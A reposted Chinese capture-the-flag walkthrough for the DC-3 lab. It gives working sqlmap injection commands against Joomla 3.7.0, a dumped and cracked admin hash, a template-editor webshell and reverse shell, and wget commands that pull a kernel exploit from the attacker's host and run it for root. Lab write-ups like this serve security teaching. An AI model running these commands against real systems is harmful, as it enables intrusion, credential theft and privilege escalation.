DC靶场系列DC-3

admin 2025年1月13日09:59:53评论8 views字数 2762阅读9分12秒阅读模式

DC靶场系列--DC-3

目录

  • 信息搜集
    • 主机发现
    • 端口扫描
    • dirb目录扫描
    • dirsearch目录扫描
    • wappalyzer
    • joomscan
  • 漏洞利用
    • sql漏洞--登录管理员账户
    • 文件上传漏洞
  • 提权
    • 内核版本提权
  • 团购优惠
  • 帮会

信息搜集

主机发现

DC靶场系列DC-3
image-20250112090814302

端口扫描

DC靶场系列DC-3
image-20250112090835336

dirb目录扫描

DC靶场系列DC-3
image-20250112090906900

发现一个登录框:http://192.168.213.157/administrator/

dirsearch目录扫描

DC靶场系列DC-3
image-20250112110113087

wappalyzer

DC靶场系列DC-3
image-20250112091040974

发现是Joomla,那我们可以使用joomscan来对这个网页进行一个信息搜集

joomscan

apt update
apt install joomscan
DC靶场系列DC-3
image-20250112092955207

版本号为3.7.0,去searchsploit一下

漏洞利用

sql漏洞--登录管理员账户

DC靶场系列DC-3
image-20250112093109968

发现两个漏洞,我们首先利用sql漏洞

locate  php/webapps/42033.txt
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
DC靶场系列DC-3
image-20250112093537711

爆库名

sqlmap -u "http://192.168.213.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
DC靶场系列DC-3
image-20250112094639000

发现joomla数据库

爆表名

sqlmap -u "http://192.168.213.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
DC靶场系列DC-3
image-20250112094818520

发现“#_users”表

爆字段

sqlmap -u "http://192.168.213.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
DC靶场系列DC-3
image-20250112095333404

查询字段内容

sqlmap -u "http://192.168.213.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "id,name,password,username" --dump -p list[fullordering]
DC靶场系列DC-3
image-20250112095546949

10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

使用john解密

vim admin
john admin
DC靶场系列DC-3
image-20250112100843740

账号:admin

密码:snoopy

文件上传漏洞

进入后台后,通过编辑模板上传webshell。

extensions-Templates-Templates
DC靶场系列DC-3
image-20250112105647105

在该处创建新文件,编写一句话木马,然后用蚁剑连接

DC靶场系列DC-3
image-20250112105746825
DC靶场系列DC-3
image-20250112110008509

上传路径在这,结合上文dirsearch扫描结果   路径推测为  http://192.168.213.157/templates/beez3/shell.php

DC靶场系列DC-3
image-20250112110207458

蚁剑测试连接

DC靶场系列DC-3
image-20250112110452310

那我们可以连接,目前是低权限用户,蚁剑终端不好操作,我们反弹shell到kali机上

DC靶场系列DC-3
image-20250112110629787
DC靶场系列DC-3
image-20250112112234722

增加如上内容,同时kali上开启监听,反弹成功,信息搜集一波

DC靶场系列DC-3
image-20250112112328815

发现内核版本ubuntu 16.04

那我们可以搜索基于4.4.0-21-generic内核的Ubuntu 16.04 LTS版本相关内核漏洞

提权

内核版本提权

searchsploit ubuntu 16.04
DC靶场系列DC-3
image-20250112112653328

我们尽量找关于内核版本--30772.txt的exp可以使用,经过筛选发现39772.txt这个exp可以利用。以下是利用方式

locate  linux/local/39772.txt
cat /usr/share/exploitdb/exploits/linux/local/39772.txt    
DC靶场系列DC-3
image-20250112192408499

在文件/ebpf_mapfd_doubleput下执行这两个文件。

先在kali上下载该文件,然后文件传输从靶机上下载

 wget  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
python -m http.server 4444
cd /tmp
wget http://192.168.213.154:4444/39772.zip
unzip 39772.zip
tar -xvf exploit.tar    
cd ebpf_mapfd_doubleput_exploit/
./compile.sh
 ./doubleput    
DC靶场系列DC-3
image-20250112192907474

最后进入root目录也是成功拿到flag

 

原文始发于微信公众号(泷羽Sec-山然):DC靶场系列--DC-3

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日09:59:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DC靶场系列DC-3https://cn-sec.com/archives/3623316.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息